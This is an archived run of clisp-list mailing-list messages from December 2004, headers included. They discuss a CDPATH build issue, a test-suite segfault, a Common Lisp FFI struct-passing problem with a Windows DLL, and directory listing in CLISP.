by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id iBECQZQ0014195; Tue, 14 Dec 2004 13:26:36 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 46FD437AC9; Tue, 14 Dec 2004 12:25:18 +0000 (UTC) From: Bruno Haible To: Robert Olney , clisp-list@lists.sourceforge.net User-Agent: KMail/1.5 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200412141325.17086.bruno@clisp.org> X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: error compiling clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 14 04:27:01 2004 X-Original-Date: Tue, 14 Dec 2004 13:25:17 +0100 Robert Olney wrote: > The problem was I had CDPATH set. This results in cd echoing the new path, > which means commands such as > > absolute_destinationdir=`cd "$destinationdir" ; /bin/pwd` > > in the clisp-link script have the directory doubled, and invalid links are > created in the full directory. Thanks for the explanation. I'm adding a workaround to clisp's configure. Bruno From sds@gnu.org Tue Dec 14 06:50:56 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CeE0u-0003QQ-Hc for clisp-list@lists.sourceforge.net; Tue, 14 Dec 2004 06:50:56 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CeE0t-0004Kl-ND for clisp-list@lists.sourceforge.net; Tue, 14 Dec 2004 06:50:56 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iBEEolY3028844; Tue, 14 Dec 2004 09:50:47 -0500 (EST) To: clisp-list@lists.sourceforge.net, Robert Olney Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Robert Olney's message of "Tue, 14 Dec 2004 13:55:24 +1100 (EST)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Robert Olney Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] Re: make check test failure Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 14 06:51:05 2004 X-Original-Date: Tue, 14 Dec 2004 09:50:47 -0500 > * Robert Olney [2004-12-14 13:55:24 +1100]: > > when I run make check after compiling clisp 2.33.2, I get: > > test error: > (PRINT 1 2) make[1]: *** [tests] Segmentation fault > make[1]: Leaving directory `/home/ro/src/clisp-2.33.2/build-dif/suite' > make: *** [testsuite] Error 2 > > If I comment out this test in tests/excepsit.tst, it completes > successfully with zero errors. > > I am using Linux Debian kernel 2.4.18-1-686. this is a known problem with gcc2: http://sourceforge.net/tracker/index.php?func=detail&aid=785605&group_id=1355&atid=101355 -- Sam Steingold (http://www.podval.org/~sds) running w2k Don't ascribe to malice what can be adequately explained by stupidity. From berlin.brown@gmail.com Tue Dec 14 07:43:15 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CeEpX-00071L-Lt for clisp-list@lists.sourceforge.net; Tue, 14 Dec 2004 07:43:15 -0800 Received: from rproxy.gmail.com ([64.233.170.198]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CeEpV-00012t-J8 for clisp-list@lists.sourceforge.net; Tue, 14 Dec 2004 07:43:15 -0800 Received: by rproxy.gmail.com with SMTP id f1so601545rne for ; Tue, 14 Dec 2004 07:43:09 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=di8HsAvdu464razsXKCE+z2kXXW9ej35BwvcLr0UTXFSUA97BN2xBLWnVTG0CJXmlpNBOIeu9RXjtN4mxCEIaaNH6voRwHCnAXe1Qvr2Iunv4xerz1x0yU2ZN4/oEU2II3lyCJzJUeNvEoPederj04sr5vnGc5c8R9HKtDmCDY4= Received: by 10.38.207.1 with SMTP id e1mr320282rng; Tue, 14 Dec 2004 07:43:09 -0800 (PST) Received: by 10.39.1.31 with HTTP; Tue, 14 Dec 2004 07:43:09 -0800 (PST) Message-ID: From: Berlin Brown Reply-To: Berlin Brown To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Understanding FFI - Values in Lisp to C Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 14 07:44:01 2004 X-Original-Date: Tue, 14 Dec 2004 10:43:09 -0500 I am working on a small lisp library using FFI, simple question, I am having trouble getting values that have been loaded in lisp and then getting them out to a C environment. For example, here is a struct(basically a win32 struct) and then I place a variables instance in a function in let ... but I keep getting clisp 'foreign-values errors' that say I cant convert from lisp to a foreign-value. ;;; ;;; Author: Berlin Brown ;;; ;;; Date: 12/14/2004 ;;; ;;; $Id$ ;;; ;;; ;;; Note: FFI:C-PTR is a keyword denoting a pointer of type x ;;; (defpackage #:widget-toolkit-test (:use #:common-lisp #:ffi) (:export #:run-test-suite)) ;;; define this package (in-package #:widget-toolkit-test) (eval-when (compile) (setq FFI:*OUTPUT-C-FUNCTIONS* t)) (default-foreign-language :stdc) ;;; ;;; Member Functions /// ;;; ;;; ;;; Test WNDPROC ;;; (defun test-wndproc (hwnd message wparam lparam) (declare (type ffi:c-pointer hwnd)) (declare (type ffi:uint message)) (declare (type ffi:long lparam)) ;;; return ;;; (let ((lresult -1)) (declare (type long lresult)) lresult)) ;;; ;;; WNDCLASSEX ;;; note: typedef CONST CHAR *LPCCH,*PCSTR,*LPCSTR; ;;; ;;; typedef WORD *PWORD,*LPWORD, whenever you ;;; see PWORD = WORD* ;;; ;;; ;;; invalid: (b (c-pointer (c-function ;;; invalid: (:arguments (v int))) d)) ;;; (def-c-struct test-wndclassex (cbSize uint) (style uint) (lpfnWndProc (c-function (:arguments (hwnd ffi:c-pointer) (message ffi:uint) (lparam ffi:uint)) (:language :stdc) (:return-type ffi:long))) (cbClsExtra int) (cbWndExtra int) (hInstance c-pointer) (hIcon c-pointer) (hCursor c-pointer) (hbrBackground c-pointer) (lpszMenuName c-string) (lpszClassName c-string) (hIconSm c-pointer)) ;;; ;;; DLLIMPORT unsigned int WidgetSizeofWND(); ;;; DLLIMPORT void* WidgetDefaultIcon(); ;;; DLLIMPORT void* WidgetDefaultCursor(); ;;; DLLIMPORT void* WidgetDefaultBrush(); ;;; ;;; Default Widget Create Handles: ;;; (def-call-out widget-testpointer (:name "TestPointer") (:arguments (lisp-wndclass-ptr (c-ptr test-wndclassex))) (:return-type) (:library "WidgetToolkit.dll")) (def-call-out widget-sizeof-wnd (:name "WidgetSizeofWND") (:arguments) (:return-type ffi:c-pointer) (:library "WidgetToolkit.dll")) (def-call-out widget-defaulticon (:name "WidgetDefaultIcon") (:arguments) (:return-type ffi:c-pointer) (:library "WidgetToolkit.dll")) (def-call-out widget-defaultcursor (:name "WidgetDefaultCursor") (:arguments) (:return-type ffi:c-pointer) (:library "WidgetToolkit.dll")) (def-call-out widget-defaultbrush (:name "WidgetDefaultBrush") (:arguments) (:return-type ffi:c-pointer) (:library "WidgetToolkit.dll")) ;;; ;;; Run the set of tests ;;; (defun run-test-suite () (print "/// test suite begin .....") (let ((wnd (make-test-wndclassex :cbSize (widget-sizeof-wnd) :style 0 :lpfnWndProc #'test-wndproc :cbClsExtra 0 :cbWndExtra 0 :hInstance nil :hIcon (widget-defaulticon) :hCursor (widget-defaultcursor) :hbrBackground (widget-defaultbrush) :lpszMenuName "NONE" :lpszClassName "gClassName" :hIconSm (widget-defaulticon) ))) ;;(print (slot-value wnd 'cbSize)) ;;(print (slot-value wnd 'hIcon)) (def-c-var aa ( :type (c-ptr test-wndclassex))) ;;(widget-testpointer aa) ;;;(ffi:c-var-address wnd) ;;; ;;; Problem Area here!!!!!!!!!!!!!!!!!!!!!!!!!!!1111 ) ;;; Exit (print "..... test suite end ///")) (provide "widget-toolkit-test") ;;; ;;; End of File ;;; From sds@gnu.org Tue Dec 14 07:50:53 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CeEwv-0007hU-Qv for clisp-list@lists.sourceforge.net; Tue, 14 Dec 2004 07:50:53 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CeEwt-0007BN-Sx for clisp-list@lists.sourceforge.net; Tue, 14 Dec 2004 07:50:53 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iBEFoZY3016140; Tue, 14 Dec 2004 10:50:35 -0500 (EST) To: clisp-list@lists.sourceforge.net, Berlin Brown Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Berlin Brown's message of "Tue, 14 Dec 2004 10:43:09 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Berlin Brown Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: Understanding FFI - Values in Lisp to C Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 14 07:51:03 2004 X-Original-Date: Tue, 14 Dec 2004 10:50:35 -0500 > * Berlin Brown [2004-12-14 10:43:09 -0500]: > > I am working on a small lisp library using FFI, simple question, I am > having trouble getting values that have been loaded in lisp and then > getting them out to a C environment. For example, here is a > struct(basically a win32 struct) and then I place a variables instance > in a function in let ... but I keep getting clisp 'foreign-values > errors' that say I cant convert from lisp to a foreign-value. could you please show a _small_ code snippet with the precise error message? -- Sam Steingold (http://www.podval.org/~sds) running w2k Bill Gates is great, as long as `bill' is a verb. From berlin.brown@gmail.com Tue Dec 14 09:31:56 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CeGWi-0006DM-IK for clisp-list@lists.sourceforge.net; Tue, 14 Dec 2004 09:31:56 -0800 Received: from rproxy.gmail.com ([64.233.170.207]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CeGWg-0002FO-8Q for clisp-list@lists.sourceforge.net; Tue, 14 Dec 2004 09:31:56 -0800 Received: by rproxy.gmail.com with SMTP id r35so1332626rna for ; Tue, 14 Dec 2004 09:31:53 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=AUmj1Oe5Q58JnLfe+m/fjZf0M/LXjdS4LE3kkf2M5yZmEnpTyJ+ZwwJYz0Ai6zy3Qv/MOjxe2NsicQW3Rnirky8BOSuI190BzLzRCaoJhpT+osWY8lc1igqgJnELISLh2q48ZuvZHLvxUnR+e8kh3BKKa5UunoSAlMog09xJOMU= Received: by 10.38.12.73 with SMTP id 73mr2173813rnl; Tue, 14 Dec 2004 09:31:53 -0800 (PST) Received: by 10.39.1.31 with HTTP; Tue, 14 Dec 2004 09:31:53 -0800 (PST) Message-ID: From: Berlin Brown Reply-To: Berlin Brown To: clisp-list@lists.sourceforge.net, Berlin Brown In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] Re: Understanding FFI - Values in Lisp to C Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 14 09:32:03 2004 X-Original-Date: Tue, 14 Dec 2004 12:31:53 -0500 Assume that test-wndclassex is a struct, actually the values are shown below, and (widget-testpointer wnd) widget-testpointer is a C function, defined in a DLL, the exact same struct is defined in C and this function has one argument, a pointer to that particular struct. And I cant seem to pass the reference of that struct to C. And I did already define the callout, in earlier code. DLLIMPORT void widget_testpointer(SOME_STRUCT *ptr) { } ;; Loaded file widget-test.lisp "/// test suite begin ....." *** - # cannot be converted to the foreign type FFI:UINT (let ((wnd (make-test-wndclassex :cbSize (widget-sizeof-wnd) :style 0 :lpfnWndProc #'test-wndproc :cbClsExtra 0 :cbWndExtra 0 :hInstance nil :hIcon (widget-defaulticon) :hCursor (widget-defaultcursor) :hbrBackground (widget-defaultbrush) :lpszMenuName "NONE" :lpszClassName "gClassName" :hIconSm (widget-defaulticon) )) ) ;;(print (slot-value wnd 'cbSize)) ;;(print (slot-value wnd 'hIcon)) (widget-testpointer wnd) ;;;; ERROR CAUSED ABOVE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;(widget-testpointer On Tue, 14 Dec 2004 10:50:35 -0500, Sam Steingold wrote: > > * Berlin Brown [2004-12-14 10:43:09 -0500]: > > > > I am working on a small lisp library using FFI, simple question, I am > > having trouble getting values that have been loaded in lisp and then > > getting them out to a C environment. For example, here is a > > struct(basically a win32 struct) and then I place a variables instance > > in a function in let ... but I keep getting clisp 'foreign-values > > errors' that say I cant convert from lisp to a foreign-value. > > could you please show a _small_ code snippet with the precise error message? > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > Bill Gates is great, as long as `bill' is a verb. > From Joerg-Cyril.Hoehle@t-systems.com Tue Dec 14 09:48:21 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CeGmb-0007Rf-NB for clisp-list@lists.sourceforge.net; Tue, 14 Dec 2004 09:48:21 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CeGmZ-00055R-Bt for clisp-list@lists.sourceforge.net; Tue, 14 Dec 2004 09:48:21 -0800 Received: from g8pbr.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Tue, 14 Dec 2004 18:47:38 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 14 Dec 2004 18:47:55 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A030281A00C@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: berlin.brown@gmail.com Subject: Re: [clisp-list] Understanding FFI - Values in Lisp to C MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 14 09:49:00 2004 X-Original-Date: Tue, 14 Dec 2004 18:47:54 +0100 Berlin, one obvious error is different number of formal parameters to test-wndclassex. I don't know if that's enough to explain the error message, but it's certain to cause some trouble when the callback gets called. >(defun test-wndproc (hwnd message wparam lparam) >(def-c-struct test-wndclassex > (lpfnWndProc > (c-function (:arguments > (hwnd ffi:c-pointer) > (message ffi:uint) > (lparam ffi:uint)) > (:language :stdc) > (:return-type ffi:long))) >(def-call-out widget-testpointer > (:name "TestPointer") > (:arguments (lisp-wndclass-ptr (c-ptr test-wndclassex))) > (:return-type) > (:library "WidgetToolkit.dll")) >(defun run-test-suite () > (let ((wnd > (make-test-wndclassex > :cbSize (widget-sizeof-wnd) > :style 0 > :lpfnWndProc #'test-wndproc > :cbClsExtra 0 > :cbWndExtra 0 > :hInstance nil > :hIcon (widget-defaulticon) > :hCursor (widget-defaultcursor) > :hbrBackground (widget-defaultbrush) > :lpszMenuName "NONE" > :lpszClassName "gClassName" > :hIconSm (widget-defaulticon) > ))) > (widget-testpointer wnd) BTW, are you sure that stack-allocating all storage is correct? C-PTR will lead to a copy of wndclassex being created on the stack for the duration of the call. If that's not what you want, you may consider using (c-pointer test-wndclassex) (with a recent CLISP), but then you must allocated such an object. Regards, Jorg Hohle. From sds@gnu.org Tue Dec 14 09:48:54 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CeGn8-0007SX-CW for clisp-list@lists.sourceforge.net; Tue, 14 Dec 2004 09:48:54 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CeGn7-0005At-Ln for clisp-list@lists.sourceforge.net; Tue, 14 Dec 2004 09:48:54 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iBEHmgY3021609; Tue, 14 Dec 2004 12:48:42 -0500 (EST) To: clisp-list@lists.sourceforge.net, Berlin Brown Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Berlin Brown's message of "Tue, 14 Dec 2004 12:31:53 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Berlin Brown Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] Re: Understanding FFI - Values in Lisp to C Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 14 09:49:03 2004 X-Original-Date: Tue, 14 Dec 2004 12:48:42 -0500 > * Berlin Brown [2004-12-14 12:31:53 -0500]: > > widget-testpointer is a C function, defined in a DLL, the exact same > struct is defined in C and this function has one argument, a pointer > to that particular struct. And I cant seem to pass the reference of > that struct to C. And I did already define the callout, in earlier > code. did you define the lisp struct with def-c-struct? >> could you please show a _small_ code snippet with the precise error message? -- Sam Steingold (http://www.podval.org/~sds) running w2k Isn't "Microsoft Works" an advertisement lie? From berlin.brown@gmail.com Tue Dec 14 10:35:04 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CeHVn-0001oz-TS for clisp-list@lists.sourceforge.net; Tue, 14 Dec 2004 10:35:03 -0800 Received: from rproxy.gmail.com ([64.233.170.196]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CeHVm-0004ZX-Gq for clisp-list@lists.sourceforge.net; Tue, 14 Dec 2004 10:35:03 -0800 Received: by rproxy.gmail.com with SMTP id f1so640390rne for ; Tue, 14 Dec 2004 10:35:00 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=RaWggGnwlYx8MMWrdl8kNWlwlgl3MxSpHTHDNM/xn2wnsoldoFHCUhdFVaAXG0sHW6ye5/Yl9uwDmf7TlKjud28BNsJbxiX9HH2YQvTrse6uAKOIQRCWVZCy1Kx9qfZhlLbvt5K6XaztlMEqSH9Zz4ZrV2m+uTKeobkd6Lg4jTE= Received: by 10.38.74.68 with SMTP id w68mr1983244rna; Tue, 14 Dec 2004 10:35:00 -0800 (PST) Received: by 10.39.1.31 with HTTP; Tue, 14 Dec 2004 10:35:00 -0800 (PST) Message-ID: From: Berlin Brown Reply-To: Berlin Brown To: clisp-list@lists.sourceforge.net, Berlin Brown In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: Understanding FFI - Values in Lisp to C Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 14 10:36:00 2004 X-Original-Date: Tue, 14 Dec 2004 13:35:00 -0500 Yes: (def-c-struct lisp-wndclassex (cbSize uint) (style uint) (lpfnWndProc c-pointer) (cbClsExtra int) (cbWndExtra int) (hInstance c-pointer) (hIcon c-pointer) (hCursor c-pointer) (hbrBackground c-pointer) (lpszMenuName c-string) (lpszClassName c-string) (hIconSm c-pointer)) On Tue, 14 Dec 2004 12:48:42 -0500, Sam Steingold wrote: > > * Berlin Brown [2004-12-14 12:31:53 -0500]: > > > > widget-testpointer is a C function, defined in a DLL, the exact same > > struct is defined in C and this function has one argument, a pointer > > to that particular struct. And I cant seem to pass the reference of > > that struct to C. And I did already define the callout, in earlier > > code. > > did you define the lisp struct with def-c-struct? > > >> could you please show a _small_ code snippet with the precise error message? > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > Isn't "Microsoft Works" an advertisement lie? > From oursland@cs.utexas.edu Wed Dec 15 09:10:41 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cecfh-0008R1-E6 for clisp-list@lists.sourceforge.net; Wed, 15 Dec 2004 09:10:41 -0800 Received: from mail.cs.utexas.edu ([128.83.139.10] ident=root) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1Cecfg-0004nv-RS for clisp-list@lists.sourceforge.net; Wed, 15 Dec 2004 09:10:41 -0800 Received: from [128.83.158.46] (horatio-046.cs.utexas.edu [128.83.158.46]) by mail.cs.utexas.edu (8.13.1/8.13.1) with ESMTP id iBFHAbJH000530 for ; Wed, 15 Dec 2004 11:10:37 -0600 (CST) Mime-Version: 1.0 (Apple Message framework v619) Content-Transfer-Encoding: 7bit Message-Id: <39445F8E-4EBC-11D9-8114-000A95930016@cs.utexas.edu> Content-Type: text/plain; charset=US-ASCII; format=flowed To: clisp-list@lists.sourceforge.net From: Alan Oursland X-Mailer: Apple Mail (2.619) X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] directory listing Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 15 09:11:04 2004 X-Original-Date: Wed, 15 Dec 2004 11:10:30 -0600 How can I get a list of sub-directories in clisp? In other lisps I've used the function 'directory' which returns a list of a directory contents: (1): (directory "components/") (#p"/v/filer1a/v0q029/oursland/km/components/CVS" #p"/v/filer1a/v0q029/oursland/km/components/core") In clisp I get the following: [1]> (directory "components/") (#P"/Users/oursland/ut/nlp/km/components/") Is there some other function I should be using or is there some option I should set? Thank you, Alan Oursland From sds@gnu.org Wed Dec 15 09:31:04 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CeczQ-0001jG-4q for clisp-list@lists.sourceforge.net; Wed, 15 Dec 2004 09:31:04 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CeczN-0004G9-SM for clisp-list@lists.sourceforge.net; Wed, 15 Dec 2004 09:31:04 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iBFHUjTc029220; Wed, 15 Dec 2004 12:30:45 -0500 (EST) To: clisp-list@lists.sourceforge.net, Alan Oursland Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <39445F8E-4EBC-11D9-8114-000A95930016@cs.utexas.edu> (Alan Oursland's message of "Wed, 15 Dec 2004 11:10:30 -0600") References: <39445F8E-4EBC-11D9-8114-000A95930016@cs.utexas.edu> Mail-Followup-To: clisp-list@lists.sourceforge.net, Alan Oursland Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: directory listing Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 15 09:32:01 2004 